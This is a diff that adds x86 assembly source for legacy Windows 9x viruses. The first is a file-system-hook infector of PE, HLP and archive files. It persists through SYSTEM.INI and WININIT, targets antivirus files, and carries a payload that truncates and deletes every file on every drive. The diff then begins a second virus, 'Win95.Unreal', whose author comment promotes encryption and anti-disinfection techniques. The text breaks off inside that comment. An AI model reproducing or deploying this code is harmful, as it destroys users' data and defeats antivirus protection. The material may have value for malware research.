+IS_OPEN: TEST 1 PTR [EBX.IR_OPTIONS+1],(R0_SWAPPER_CALL OR OPEN_FLAGS_REOPEN) SHR 8 +IS_ACCESS: JNE IFS_RETURN +GO_PROCESS: BREAK + PUSH EBX + CMP DL,SHELL_FLAG[EDX] + IFNDEF DEBUG + JNE GO_NO_INF_SHELL + ELSE + JMP GO_NO_INF_SHELL + ENDIF + CALL GET_WININIT + CALL GET_ATTRIBUTES + JNB GO_NO_INF_SHELL + LEA ESI,SYSTEM_INI[EDX] + MOV CL,LEN_SYSTEM_INI + CALL CONCAT_WINDIR + PUSH EDX + CALL OPEN_FILE_RO + POP EDX + JB GO_NO_INF_SHELL + XCHG EAX,EBX + CALL READ_FILE_BUFF_0 + JNB LONG_SYSINI + ADD ECX,EAX +LONG_SYSINI: CALL CLOSE_FILE +FIND_SHELL: LODSD + OR EAX,20202020H + CMP EAX,'lehs' + JNE NO_SHELL + LODSW + OR AL,20H + CMP AX,'=l' + JE IS_SHELL + DEC ESI + DEC ESI +NO_SHELL: SUB ESI,3 + LOOP FIND_SHELL +GO_NO_INF_SHELL: + JMP NO_INF_SHELL +IS_SHELL: CMP 1 PTR [ESI+1],':' + JNE SNAME_ONLY + LEA EDI,TMP_PATH[EDX] + PUSH EDI +COPY_SH_NAME: MOVSB + CMP 1 PTR [ESI],20H + JA COPY_SH_NAME + MOV [EDI],DL + POP ESI + JMP OPEN_SHELL +SNAME_ONLY: XOR ECX,ECX +GET_SH_LIM: INC ECX + CMP 1 PTR [ESI+ECX],20H + JA GET_SH_LIM + CALL CONCAT_WINDIR +OPEN_SHELL: PUSH EDX + CALL OPEN_FILE_RO + POP EDX + JB GO_NO_INF_SHELL + XCHG EAX,EBX + CALL GET_ATTRIBUTES + PUSH EBX ECX EDX EBX + DEC 1 PTR [EDI-1] + MOV EDI,4 PTR OLD_DATETIME[EDX] + CALL OPEN_CREATE + POP EBX EDX + JB CLOSE_SOURCE + PUSH EDI ESI EAX + CALL READ_FILE_BUFF_0 + JB CLOSE_ALL + XCHG EAX,EDI + MOV AL,WE_HERE + XCHG AL,1 PTR [ESI.DOSH_CSUM] + CMP AL,WE_HERE + JE CLOSE_ALL_CMC +COPY_FILE: POP EBX + PUSH EBX + MOV EAX,EDI + CALL WRITE_FILE + JB CLOSE_ALL + ADD EDI,ECX + MOV EAX,EDI + MOV EBX,[ESP+10H] + CALL READ_FILE + JNB COPY_FILE + ADD ECX,EAX + JNE COPY_FILE +CLOSE_ALL_CMC: CMC +CLOSE_ALL: POP EBX ESI CX DI + PUSHFD + CALL CLOSE_FILE + MOV AL,SET_ATTRIB_MODIFY_DATETIME + CALL MAN_ATTRIBUTES + POPFD +CLOSE_SOURCE: POP ECX + SBB EDI,EDI + JNE SH_ERR + CALL SET_ATTRIBUTES + JMP SH_OK +SH_ERR: CALL DELETE_FILE +SH_OK: POP EBX + CALL CLOSE_FILE + INC EDI + STC + JE GOC_NO_INF_SHELL + MOV FILE_TYPE[EDX],DL + CALL INFECTION + LEA ESI,TMP_PATH[EDX] + LEA EDI,MAIN_BUFF[EDX] + PUSH EDI ESI + MOV EAX,'ner[' + STOSD + MOV EAX,']ema' + STOSD + MOV AL,0AH + STOSB +MOVE_DEST: LODSB + CMP AL,'A' + JB NO_LETTER + CMP AL,'Z' + JA NO_LETTER + OR AL,20H +NO_LETTER: STOSB + CMP DL,[ESI] + JNE MOVE_DEST + INC 1 PTR [EDI-1] + MOV AL,'=' + STOSB + POP ESI +MOVE_SOURCE: MOVSB + CMP DL,[ESI] + JNE MOVE_SOURCE + MOV AL,0AH + STOSB + MOV EAX,'=lun' + STOSD + PUSH EDI + CALL GET_WININIT + POP EDI + PUSH ESI +MOVE_INIT: MOVSB + CMP DL,[ESI] + JNE MOVE_INIT + POP ESI + PUSH EDX + CALL OPEN_CREATE + POP EDX ECX +GOC_NO_INF_SHELL: + JB NO_INF_SHELL + XCHG EAX,EBX + SUB EDI,ECX + MOV ESI,ECX + MOV ECX,EDI + XOR EAX,EAX + CALL WRITE_FILE + CALL CLOSE_FILE + PUSH GET_CUR_VM_HANDLE + CALL VXD_CALL + MOV AL,MSG_POSSIBLITY + CALL GET_RANDOM_BYTE + IFNDEF DEBUG + JNE NO_INF_SHELL + ELSE + XOR EAX,EAX + ENDIF + LEA ECX,COPYRIGHT[EDX] + MOV ESI,EAX + MOV EDI,EAX + PUSH SHELL_MESSAGE + CALL VXD_CALL +NO_INF_SHELL: MOV 1 PTR SHELL_FLAG[EDX],1 + POP EBX +SHELL_ALREADY: + IFNDEF DEBUG + LEA ESI,COMMAND_PIF[EDX] + MOV CL,LEN_COMMAND_PIF + CALL CONCAT_WINDIR + CALL GET_ATTRIBUTES + JB CPIF_NFOUND + CALL DELETE_FILE +CPIF_NFOUND: MOV EDI,ESI + ELSE + LEA EDI,TMP_PATH[EDX] + MOV ESI,EDI + ENDIF + MOV EAX,DRIVE + INC AL ;UNC PATH? + JE NO_STORE_DRIVE + ADD AX,(':' SHL 8) OR ('A'-2) + STOSW +NO_STORE_DRIVE: MOV EAX,[EBX.IR_PPATH] + ADD EAX,4 + PUSH EDX BCS_WANSI MAX_PATH-3 EAX EDI UNITOBCSPATH + CALL VXD_CALL + ADD ESP,4*4 + POP EDX + MOV [EDI+EAX],DL + LEA ECX,FILE_TYPE[EDX] + MOV 1 PTR [ECX],0FFH + MOV EAX,[EDI+EAX-4] + CMP EAX,'CVA.' ;AVP 3 DATABASE? + JE INFECT_IT + CMP EAX,'BDV.' ;DRWEB 4 DATABASE? + JE INFECT_IT + INC 1 PTR [ECX] + CMP EAX,'EXE.' ;EXE? + JE OK_FILE + CMP EAX,'RCS.' + JE OK_FILE + CMP EAX,'LLD.' ;DLL? + JE INFECT_IT ;FOR AV CORRECT CHECKING ONLY! + INC 1 PTR [ECX] + CMP EAX,'PLH.' ;HLP? + JE OK_FILE + INC 1 PTR [ECX] + CMP EAX,'RAR.' ;RAR? + JE OK_FILE + INC 1 PTR [ECX] + CMP EAX,'PIZ.' ;ZIP? + JE OK_FILE + INC 1 PTR [ECX] + CMP EAX,'JRA.' ;ARJ? + JE OK_FILE + INC 1 PTR [ECX] + SHR EAX,8 + CMP EAX,'AH.' ;HA? + STC + JNE GO_IFS_RETURN +OK_FILE: PUSH EDX EBX + MOV EDX,DRIVE + TEST 1 PTR RES_FLAGS,IFSFH_RES_UNC + JNE ERR_GET_SPACE + MOV AX,R0_GETDISKFREESPACE + CALL FILE_IO + JB ERR_GET_SPACE + MUL BX ;SEC_PER_CLUST(AX)*AVAIL_CLUST(CX) + CMC + JNB ERR_GET_SPACE + CMP AX,SMALL (OUR_LEN+1FFH+0FFFH)/200H +ERR_GET_SPACE: POP EBX EDX +GO_IFS_RETURN: JB IFS_RETURN +INFECT_IT: ;TMP_PATH->FILE PATH TO INFECTION + LEA EAX,IFS_RETURN_OFF[EDX] + PUSH EAX + CALL GET_ATTRIBUTES + JNB GOOD_ATT + CMP 1 PTR FN_NUM,IFSFN_RENAME + JE INF_ERR + PUSH ESI + MOV EDI,[EBX.IR_UPATH] + XCHG ESI,EDI +PARSE_PATH: LODSB + INC ESI + STOSB + DEC AL + JNS PARSE_PATH + POP ESI + +;-------------------------------------- +INFECTION: CALL GET_ATTRIBUTES + JB INF_ERR +GOOD_ATT: TEST CL,FA_SYSTEM OR FA_DEVICE + JE ATT_OK +INF_ERR: RETN +ATT_OK: MOV EDI,ECX + CALL CLR_ATTRIBUTES + JB INF_ERR + PUSH EDI EDX + MOV BL,OPEN_ACCESS_READWRITE OR OPEN_SHARE_DENYREADWRITE + CALL OPEN_FILE + POP EDX + JB REST_ATTRIB + PUSH ESI + XCHG EAX,EBX + MOV ECX,12345678H + GOFF OLD_DATETIME,4 + CMP 1 PTR FN_NUM,IFSFN_FILEATTRIB + JNE CURRENT_DATE + MOV EDI,P_IOREQ + CMP 1 PTR [EDI.IR_FLAGS],SET_ATTRIB_MODIFY_DATETIME + JNE CURRENT_DATE + MOV ECX,[EDI.IR_DATETIME] +CURRENT_DATE: PUSH ECX + TEST 1 PTR FILE_TYPE[EDX],0FFH + JS IS_SHITNAME + JNE NO_SHITNAME + MOV EDI,ESI +GET_PATHBYTE: LODSB + CMP AL,'' + JE STORE_OFFS + CMP AL,':' + JNE NO_STORE_OFFS +STORE_OFFS: MOV EDI,ESI +NO_STORE_OFFS: AND AL,AL + JNE GET_PATHBYTE + MOV EAX,[EDI] + CMP EAX,'NIDA' ;ADINF? + JE GO_TO_PAY + CMP EAX,'IPVA' ;AVPI? + JE GO_TO_PAY + CMP EAX,'SOHG' ;GHOST32? + JE GO_TO_PAY + CMP EAX,'NIBV' ;VBINF? :-) + JE GO_TO_PAY + CMP EAX,'PVA_' ;AVP? + JE IS_SHITNAME + SHL EAX,8 + CMP EAX,'RAJ' SHL 8 ;JAR? + JE SKIP_FILE + CMP EAX,'PVA' SHL 8 ;AVP? + JE IS_SHITNAME + CMP EAX,'WRD' SHL 8 ;DRWEB? + JE IS_SHITNAME + CMP EAX,'ABV' SHL 8 ;VBA*.EXE? :-) + JNE NO_SHITNAME + CMP 1 PTR [ESI-2],'E' + JNE NO_SHITNAME +IS_SHITNAME: XCHG EAX,ECX + XOR ECX,ECX + SHLD ECX,EAX,11 + AND ECX,00001111B + SHR EAX,16+5+4 + SUB AL,HAPPY_YEAR-1980 + JB SKIP_FILE + MOV AH,12 ;MONTHS IN YEAR + MUL AH + IF HAPPY_MONTH EQ 1 + DEC EAX + ELSEIF HAPPY_MONTH EQ 2 + DEC EAX + DEC EAX + ELSE + SUB EAX,HAPPY_MONTH + ENDIF + ADD ECX,EAX + JS SKIP_FILE + MOV EAX,HAPPY_POSSIBLITY + SUB EAX,ECX + JA NOT_EXPIRED + MOV AL,1 ;100% POSSIBLITY +NOT_EXPIRED: CALL GET_RANDOM_BYTE +GO_TO_PAY: JE TIME_TO_PAY +SKIP_FILE: STC + JMP GO_F_CLOSE +NO_SHITNAME: PUSH EDX GET_DOSTIME + CALL VXD_CALL + POP EDX + SUB EAX,[ESP] + CMP EAX,0FFFFFH ;MIN - TWO WEEK AGE + IFNDEF DEBUG + JB F_CLOSE + ENDIF + CALL GET_SYS_TIME + CMP DL,SHELL_FLAG[EDX] + JE NO_SLEEP + SUB EAX,12345678H + GOFF INF_TIME,4 + CMP EAX,SLEEP_TIME*60*1000 + IFNDEF DEBUG + JB F_CLOSE + ENDIF +NO_SLEEP: LEA ESI,HEADER[EDX] + PUSH SIZE DOS_HEADER + POP ECX + XOR EAX,EAX ;POS IN FILE + CALL READ_FILE ;READ FILE HEADER +GO_F_CLOSE: JB F_CLOSE + LEA EDI,OUR_LOCAL_HEADER[EDX] + MOV CL,(SIZE_ARC_AREA+3)/4 + REP STOSD + MOV AL,1 PTR FILE_TYPE[EDX] + MOVZX EDI,2 PTR INF_PROCS[EDX+EAX*2] + ADD EDI,EDX + MOV 2 PTR [EDX],(OFF_DOSINST SHL 8) OR 0EBH ;DROPPER MODE + CALL EDI +F_CLOSE: CALL CLOSE_FILE + POP CX DI ESI + MOV AL,SET_ATTRIB_MODIFY_DATETIME + CALL MAN_ATTRIBUTES +REST_ATTRIB: POP ECX + JMP SET_ATTRIBUTES + +;------------------------------------------------ +TIME_TO_PAY: MOV EAX,_LEAVEMUSTCOMPLETE + PUSH EAX + DEC EAX ;_ENTERMUSTCOMPLETE + PUSH EAX + CALL VXD_CALL + LEA EDX,FIND_DATA[EDX] ;ESI=&TMP_PATH + IFNDEF DEBUG + MOV AX,':C' + ELSE + MOV AX,':X' + ENDIF +FIND_DRIVE: MOV EDI,ESI + STOSW + PUSH EAX +FIND_FIRST: MOV AL,'' + STOSB + MOV 2 PTR [EDI],'*' + PUSH 37H + POP ECX + MOV AX,R0_FINDFIRSTFILE + CALL FILE_IO + JNB SOME_FOUND +FIND_SLASH: DEC EDI + CMP 1 PTR [EDI-1],':' + JE NEXT_DRIVE + CMP 1 PTR [EDI-1],'' + JNE FIND_SLASH +FIND_NEXT: MOV AX,R0_FINDNEXTFILE + CALL FILE_IO + JNB OK_FOUND + MOV AX,R0_FINDCLOSEFILE + CALL FILE_IO + POP EBX + JMP FIND_SLASH +SOME_FOUND: PUSH EBX + XCHG EAX,EBX +OK_FOUND: PUSH ESI EDI + LEA ESI,[EDX.CFILENAME] +STORE_NAME: LODSB + STOSB + AND AL,AL + JNE STORE_NAME + DEC EDI + POP EAX ESI + XCHG EAX,EDI + TEST 1 PTR [EDX.DWFILEATTRIBUTES],10H + JE NOT_DIR + CMP 1 PTR [EDX.CFILENAME],'.' + JE FIND_NEXT + XCHG EAX,EDI + JMP FIND_FIRST +NEXT_DRIVE: POP EAX + INC EAX + CMP AL,'Z' + JBE FIND_DRIVE +GO_HANG: CALL VXD_CALL ;_LEAVEMUSTCOMPLETE + XOR ESI,ESI + LEA EAX,[ESI+1] ;HANG_ON_EXIT + PUSH FATAL_ERROR_HANDLER + JMP GO_HANG +NOT_DIR: PUSHAD + CALL CLR_ATTRIBUTES + CALL OPEN_CREATE + JB DEL_FILE + XCHG EAX,EBX + CALL CLOSE_FILE +DEL_FILE: CALL DELETE_FILE + POPAD + JMP FIND_NEXT + +;------------------------------------------------ +;ENTRY: EBP=&LENGTH OF MACRO STRING +CORR_LENGTH PROC + MOV EAX,EDI + SUB EAX,EBP + DEC EAX + MOV [EBP],AX + XOR AL,AL + STOSB +INF_EXE_EXIT: RET + ENDP + +;------------------------------------------------ + GOFF INF_EXE + MOV 1 PTR [EDX],0E9H ;PE SPECIAL MODE + IFDEF DEBUG + CMP [DOSH_SIGNATURE.ESI],'MZ' + ELSE + CMP [DOSH_SIGNATURE.ESI],'ZM' + ENDIF + JNE INF_EXE_EXIT + CMP [DOSH_LFARLC.ESI],3FH + JBE INF_EXE_EXIT + MOVZX EAX,[DOSH_LFANEW.ESI] + ADD ESI,SIZE DOS_HEADER ;PHEADER + MOV CX,SIZE PE_HEADER+(SIZE OBJECT_TABLE*MAX_OBJS) + CALL READ_FILE + JB INF_EXE_EXIT + CMP 2 PTR [PEH_SIGNATURE.ESI],'EP' + JNE INF_EXE_EXIT + CMP [PEH_CPUTYPE.ESI],162H ;INTEL? + JAE INF_EXE_EXIT + CMP 1 PTR [PEH_NUMOFOBJECT.ESI],MAX_OBJS + JA INF_EXE_EXIT + TEST 2 PTR [PEH_FLAGS.ESI],PE_FLAG_DLL OR PE_FLAG_NOT_FIXUP + JNE INF_EXE_EXIT + TEST 2 PTR [PEH_FLAGS.ESI],PE_FLAG_32BIT OR PE_FLAG_EXECUTABLE + JE INF_EXE_EXIT + CMP 4 PTR [PEH_IMAGEBASE.ESI],400000H + JNE INF_EXE_EXIT + INC 1 PTR [PEH_FLAGS.ESI] ;PE_FLAG_NOT_FIXUP + LEA EDI,[ESI+SIZE PE_HEADER-SIZE OBJECT_TABLE] + XOR EAX,EAX + MOV [PEH_FIXUP.SD_SIZE.ESI],EAX + XCHG EAX,[PEH_FIXUP.SD_RVA.ESI] + AND EAX,EAX +GOZ_INF_EXIT: JE INF_EXE_EXIT + PUSH EDI +FIND_FIXUPOBJ: ADD EDI,SIZE OBJECT_TABLE + CMP EAX,[OT_RVA.EDI] + JNE FIND_FIXUPOBJ + MOV AL,NOCHNG_SATT_PSBL + CALL GET_RANDOM_BYTE + JE NO_CHNG_ATT + AND 1 PTR [OT_FLAGS.EDI+3],NOT ((OT_FLAG_DISCARDABLE OR OT_FLAG_SHARED) SHR 24) + OR [OT_FLAGS.EDI],OT_FLAG_READ OR OT_FLAG_IDATA +NO_CHNG_ATT: MOV AL,CHNG_SNAME_PSBL + CALL GET_RANDOM_BYTE + JNE NO_CHNG_NAME + PUSH EDI + CALL GEN_NAME + XOR AL,AL + STOSB + POP EDI +NO_CHNG_NAME: MOV AL,LEN_PEND_JUNK + CALL GET_RANDOM_BYTE + ADD AX,SMALL OUR_LEN+LEN_LOADER+3 + AND AL,NOT 3 + MOV CURRENT_LEN[EDX],EAX + MOV COUNT_RET[EDX],AX + XCHG EAX,ECX + MOV EAX,[OT_VIRTSIZE.EDI] + CALL CORR_SIZE + CMP EAX,[OT_PHYSICALSIZE.EDI] + JB GET_VIRTSIZE + MOV EAX,[OT_PHYSICALSIZE.EDI] +GET_VIRTSIZE: SUB EAX,ECX + PUSHFD + JA OK_RELOC_SIZE + ADD EAX,ECX +OK_RELOC_SIZE: CALL GET_RANDOM + AND AL,NOT 3 + PUSH EAX + ADD EAX,[OT_PHYSICALOFF.EDI] + MOV PHYS_BODY_OFF[EDX],EAX + ADD EAX,ECX + MOV FILL_SEC_OFF[EDX],EAX + POP EAX + ADD EAX,ECX + PUSH EAX + ADD EAX,[OT_RVA.EDI] + ADD EAX,[PEH_IMAGEBASE.ESI] + MOV OFF_FIXUP[EDX],EAX + POP ECX + POPFD + JA MID_EXIT_ONE + CMP [OT_PHYSICALSIZE.EDI],MIN_RELOC_SIZE + JB MID_EXIT_ONE + PUSH ESI + CALL GETSIZE_FILE + SUB EAX,[OT_PHYSICALOFF.EDI] + CMP EAX,[OT_PHYSICALSIZE.EDI] + JA MID_EXIT_CMC + CALL CORR_SIZE_ECX + CMPSD + SCASD + CALL CORR_SIZE_ECX + SUB EAX,ECX + CMP EAX,SIZE_MBUFF +MID_EXIT_CMC: CMC + JB MID_EXIT_TWO + XCHG EAX,ECX + PUSH ECX + LEA EDI,MAIN_BUFF[EDX] + MOV ESI,EDI + XOR AL,AL + REP STOSB + POP ECX + MOV EAX,12345678H + GOFF FILL_SEC_OFF,4 + CALL WRITE_FILE +MID_EXIT_TWO: POP ESI +MID_EXIT_ONE: POP EDI + JNB NO_POP_EXIT +MID_RET: RETN +NO_POP_EXIT: MOV EAX,[PEH_CODEBASE.ESI] +FIND_CODEOBJ: ADD EDI,SIZE OBJECT_TABLE + CMP EAX,[OT_RVA.EDI] + JNE FIND_CODEOBJ + MOV AL,OT_FLAG_WRITE SHR 24 + TEST AL,1 PTR [OT_FLAGS.EDI+3] + JNE MID_RET + PUSH EDI + LEA ESI,TMP_PATH[EDX] + MOV EDI,[ESI-SYS_PATH_DELTA] ;SYS_PATH[EDX] + MOV CL,NOT RW_LOCAL_EXIT +CHECK_PATH: CMPSB + JNE NO_SYS_DIR + CMP DL,[EDI] + JNE CHECK_PATH + XOR AL,AL + MOV CL,AL +NO_SYS_DIR: POP EDI + OR 1 PTR [OT_FLAGS.EDI+3],AL + MOV RW_OR_RO[EDX],CL + PUSH EDX + MOV EAX,[OT_PHYSICALSIZE.EDI] + XOR EDX,EDX + MOV ECX,SIZE_MBUFF + DIV ECX + POP EDX + CALL GET_RANDOM + IMUL EAX,ECX + ADD EAX,[OT_PHYSICALOFF.EDI] + PUSH EAX + CALL READ_FILE_BUFF + JB POP_INF_EXIT + CMP DL,SHELL_FLAG[EDX] + JE INF_ENTRYPOINT + CALL FIND_PLACE + AND ECX,ECX + JNE MIDDLE_INSERT +INF_ENTRYPOINT: POP EAX + MOV EAX,PHEADER[PEH_ENTRYPOINT.EDX] + PUSH EAX + SUB EAX,[OT_RVA.EDI] + ADD EAX,[OT_PHYSICALOFF.EDI] + PUSH EAX + CALL READ_FILE_BUFF + POP EDI +POP_INF_EXIT: POP EAX + JB GO1_INF_EXIT + PUSH EDI + JMP ENTRY_INSERT +MIDDLE_INSERT: MOV ESI,EAX + SUB EAX,EDX + SUB EAX,LARGE MAIN_BUFF + ADD EAX,[OT_RVA.EDI] + ADD EAX,[ESP] + SUB EAX,[OT_PHYSICALOFF.EDI] +ENTRY_INSERT: ADD EAX,PHEADER[PEH_IMAGEBASE.EDX] + MOV INTRUD_OFF[EDX],EAX + LEA EDI,OLD_PECODE[EDX] + PUSH ESI + XOR ECX,ECX + MOV CL,LEN_LOADER + REP MOVSB + CALL SPE_THUNK + POP EDI + LEA ESI,SPE32_BUFF[EDX] + REP MOVSB + POP EAX + LEA ESI,MAIN_BUFF[EDX] + MOV CX,SIZE_MBUFF + CALL WRITE_FILE +GO1_INF_EXIT: JB INF_EXIT + MOV EDI,ESI + MOV ESI,EDX + MOV ECX,12345678H + GOFF CURRENT_LEN,4 + PUSH ECX EDI + REP MOVSB + POP ESI ECX + PUSH ECX EBX + MOV EAX,12345678H + GOFF MASK_CR,4 + SHR ECX,1 + GOFF LOOP_CR + SHR ECX,1 ;NOP/NOP +LOOP_CR_IMM: SUB EDI,4 ;SUB EDI,2 + MOV EBX,[EDI] + DB LEN_FILL_CRYPT DUP (90H) + GOFF END_LOOP_CR + DB 90H ;66H + MOV [EDI],EBX + LOOP LOOP_CR_IMM + POP EBX ECX + MOV EAX,12345678H + GOFF PHYS_BODY_OFF,4 + CALL WRITE_FILE + LEA ESI,PHEADER[EDX] + MOV AL,1 PTR [PEH_NUMOFOBJECT.ESI] + IMUL EAX,SIZE OBJECT_TABLE + ADD AX,SIZE PE_HEADER + XCHG EAX,ECX + MOV AX,[ESI.DOSH_LFANEW-SIZE DOS_HEADER] + JMP SET_WRITE_FILE + +;------------------------------------------------ +CORR_SIZE_ECX: MOV EAX,ECX +CORR_SIZE: PUSH EDX + XOR EDX,EDX + DIV [PEH_OBJALIGN.ESI] + AND EDX,EDX + JE NO_ALIGN + INC EAX +NO_ALIGN: MUL [PEH_OBJALIGN.ESI] + POP EDX + MOV [OT_VIRTSIZE.EDI],EAX + RETN + +;------------------------------------------------ +MACRO_FNAME PROC + PUSH ESI + LEA ESI,RDROP_NAME[EDX] + MOV EAX,'\:C' + STOSD + SHR EAX,16 + STOSW +STORE_NLETT: MOVSB + CMP 1 ptr [esi],'.' + JNE STORE_NLETT + MOV EAX,'PMT.' + GOFF TEMP_EXT,3 + STOSD + POP ESI +INF_EXIT: RET + ENDP + +;------------------------------------------------ + GOFF INF_HLP + DEC EAX ;EAX = 0 + CALL GET_RANDOM + LEA EDI,FIRST_DROP_MASK[EDX] + STOSW + SHR EAX,16 + MOV RELO_MASK2[EDI-2],AX + LODSD ;HLP_HEADER + CMP EAX,HLP_MAGIC + JNE INF_EXIT +;1. READ BEGIN OF HLP-DIRECTORY + LODSD ;HLP_START_DIRECTORYSTART + MOV EDI,ESI + CMPSD ;LEA ESI,[ESI+SIZE HLP_START-8] + CMPSD + MOV CH,LEN_HLP_DIR SHR 8 ;CL=0 + CALL READ_FILE + JB INF_EXIT +;2. FIND "|SYSTEM" STRING AND GET OFFSET + MOV AL,'|' +FIND_SYSTEM: REPNE SCASB + JNE INF_EXIT + CMP 4 PTR [EDI],'TSYS' ;"|SYSTEM" BLOCK? + JNE FIND_SYSTEM + XCHG EAX,ECX + MOV CL,SIZE FILE_HEADER+SIZE SYSTEM_HEADER + MOV EAX,[ESI.HLP_START_ENTIREFILESIZE-SIZE HLP_START] + XCHG EAX,[EDI+7] ;STORE NEW "SYSTEM" OFFSET +;3. READ SYSTEM PAGE (LENGTH READ BEFORE) + LEA ESI,SYS_FILE_HEADER[EDX] + LEA EDI,[EAX+ECX] ;OFFSET "SYSTEM" DATA + CALL READ_FILE + JB INF_EXIT + CMP [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_MINOR],16 + JBE INF_EXIT +;4. CHECK SECONDS IF FILE ALREADY INFECTED + CMP AL,1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE] + JE INF_EXIT + MOV 1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE],AL +;5. GENERATE OUR MACROS + PUSH EDI + LEA EDI,[ESI+ECX] ;BUFF4MACRO + CALL GEN_MACROS ;EXIT: EAX=MACROLENGTH +;6. CORRECT USED "SYSTEM" LENGTH + ADD [ESI.FILE_HEADER_USEDSPACE],EAX + ADD [ESI.FILE_HEADER_RESERVEDSPACE],EAX +;7. WRITE MACRO HEADERS+OUR MACRO IN THE END OF MODULE + LEA ECX,[EAX+SIZE FILE_HEADER+SIZE SYSTEM_HEADER] + CALL HLP_WRITE_FILE + POP EDI + JB INF_EXIT + LODSD ;FILE_HEADER_RESERVEDSPACE + SUB EAX,ECX +;8. REWRITE OLD "SYSTEM" DATA IN THE END OF MODULE + MOV CX,LEN_IOBUFF-4 +WRITE_NEXT_BLK: SUB EAX,ECX + JAE IS_LONG_DATA + ADD ECX,EAX + XOR EAX,EAX +IS_LONG_DATA: PUSH EAX + MOV EAX,EDI + ADD EDI,ECX + CALL READ_FILE + JB EXIT_READWRITE + CALL HLP_WRITE_FILE +EXIT_READWRITE: POP EAX + JB WAS_ERROR + AND EAX,EAX + JNE WRITE_NEXT_BLK +;9. WRITE CORRECTED HLP_HEADER (VIA WRITE_FILE) + LEA ESI,HLP_HEADER[EDX] + PUSH SIZE HLP_START + POP ECX + CALL WRITE_FILE ;ASSUME THAT EAX=0 +;10. CREATE AND WRITE ENCRYPTED DROPPER IN THE END OF FILE (VIA HLP_WRITE_FILE) + CALL SPE_THUNK ;ECX=LENGTH OF DROPPER + PUSH ECX ESI + LEA EDI,FIRST_DROP_MASK[EDX] + MOV AX,[EDI] +ENCRYPT_HDROP: XOR [ESI],AX + ADD AX,RELO_MASK2[EDI] + INC ESI + LOOP ENCRYPT_HDROP + POP ESI ECX + CALL HLP_WRITE_FILE +;11. WRITE HLP_DIRECTORY WITH CORRECTED OFFSET OF "SYSTEM" BLOCK + LEA ESI,HLP_DIRECTORY[EDX] + MOV EAX,[ESI.HLP_START_DIRECTORYSTART-SIZE HLP_START] + MOV CX,LEN_HLP_DIR AND 0FF00H + +;------------------------------------------------ +SET_WRITE_FILE: CALL SET_DATE + JMP WRITE_FILE + +;------------------------------------------------ +READ_FILE_BUFF_0: + XOR EAX,EAX +READ_FILE_BUFF: LEA ESI,MAIN_BUFF[EDX] + MOV CX,SIZE_MBUFF + JMP READ_FILE + +;------------------------------------------------ +ZIP_READ_FILE: ADD EAX,ZIP_CUR_OFF[EDX] + MOV ZIP_CUR_OFF[EDX],EAX +;ENTRY: EAX=POS,ECX=LENGTH,EBX=HANDLE,ESI=&BUFFER4READ +;EXIT: CF=1 IF ERROR AND EAX=ERROR CODE OR EAX=(REAL BYTES READ-LENGTH) +READ_FILE PROC + PUSH EDX + MOV DX,R0_READFILE +GO_READ: XCHG EAX,EDX + CALL FILE_IO + POP EDX + JB WAS_ERROR + SUB EAX,ECX +WAS_ERROR: RET + ENDP + +;------------------------------------------------ +HLP_WRITE_FILE: MOV EAX,[HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX] + ADD [HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX],ECX + +;------------------------------------------------ +WRITE_FILE: PUSH EDX + MOV DX,R0_WRITEFILE + JMP GO_READ + +;------------------------------------------------ +SET_DATE: XOR 1 PTR [ESP+8],1 ;CHANGE TIME FOR FOOLING ADINF/AVPI +SET_TIME: PUSH EAX + CALL GET_SYS_TIME + MOV INF_TIME[EDX],EAX + POP EAX + RETN + +;------------------------------------------------ +;ENTRY: EDI=&BUFFER FOR STORING MACROS +;EXIT: EAX=LENGTH OF MACRO +GEN_MACROS PROC + PUSH EBX ESI EBP EDI + LEA EDI,TEMP_EXT[EDX] + CALL GEN_EXT ;EAX = 0 + LEA EDI,RDROP_NAME[EDX] + CALL GEN_NAME + MOV EAX,'MOC.' + STOSD + XOR AL,AL + STOSB + CALL GET_RANDOM_MSK + XCHG EAX,ECX + CALL GET_RANDOM_MSK + MOV AH,CL + ADD AX,'AA' + LEA ESI,RUN_DROPPER[EDX] + LEA EDI,MAIN_BUFF[EDX] + MOV 2 PTR DS:UU_MASK[ESI],AX + MOV CL,LEN_UUD + REP MOVSB + MOV CL,LEN_RDROP_CON + XCHG EAX,EBX +UUE_BYTE: LODSB + PUSH EAX + SHR AL,4 + ADD AL,BL + STOSB + POP EAX + AND AL,0FH + ADD AL,BH + STOSB + LOOP UUE_BYTE + POP EDI + PUSH EDI + LEA ESI,RR_MACRO[EDX] + CALL HLP_STORE + LEA ESI,MAIN_BUFF[EDX] + XOR EBP,EBP ;FIRST ITERATION + MOV EBX,(LEN_UUD+2*LEN_RDROP_CON) ;LENGTH OF MACROS +NEXT_ITER: PUSH ESI + CALL HLP_STORE_DROP + DEC EDI ;SKIP ' + diff --git a/LegacyWindows/Win95.Unreal.asm b/LegacyWindows/Win95.Unreal.asm new file mode 100644 index 00000000..2741402c --- /dev/null +++ b/LegacyWindows/Win95.Unreal.asm @@ -0,0 +1,1660 @@ +Win95.Unreal +Comment % +-----------------------------+ UNREAL +-------------------- + +----+ By Qozah +----+ + + +-------+ Briefing +--------------------------------------------------------- + + + Unreal is a 3349 bytes long PE infector. It works on win9x systems by + appending it's code to the last file section and modifying the header to + do so - the so called 29A technique. + + It uses multithreading to perform it's infection; as it should waste time + that could be noticed by the user, launches it's routines as a thread and + jumps in the main thread to the legit code. Of course, it's possible + that the main thread is closed before the program is, but even if the + virus was infecting at that time nothing would happen; as it uses file + mapping, changes will be saved only when all is finished. Anyway I've + heard this idea was used before, but I also thought it didn't I ? :P + + Unreal is encrypted by QBCE ( Qozah's Block Cyphering Engine ), which + is a block cypher deeply analyzed forward. In a few words, it + makes 24 rounds of encryption with random operations on the code, making + it a good algorithm for crypting. + + Now, maybe the best idea inside this one is that it's virtually + uncleanable by normal methods, due to an engine I called UVE. I strongly + recommend at least understanding the idea on it. Past is gone, we can't + relay on it making the same things. Technology has to strenghten, and new + ideas to fuck up antivirus's work should be taken as a standard. This is + a good example. + + + Descriptions on QBCE and UVE follow. + + + +-------+ Qozah's Block Cyphering Engine +----------------------------------- + + Basic operations + ---------------- + + The engine selects randomly a bunch of 24 rounds which will work in all + the bytes of the encrypted file ( this value can be changed ) + + That values are 10 bits long, and look this way: + + +-+-+-+-+-+-+-+-+-+-+ + | | | | | | | | | | | + +-+-+-+-+-+-+-+-+-+-+ + ^ 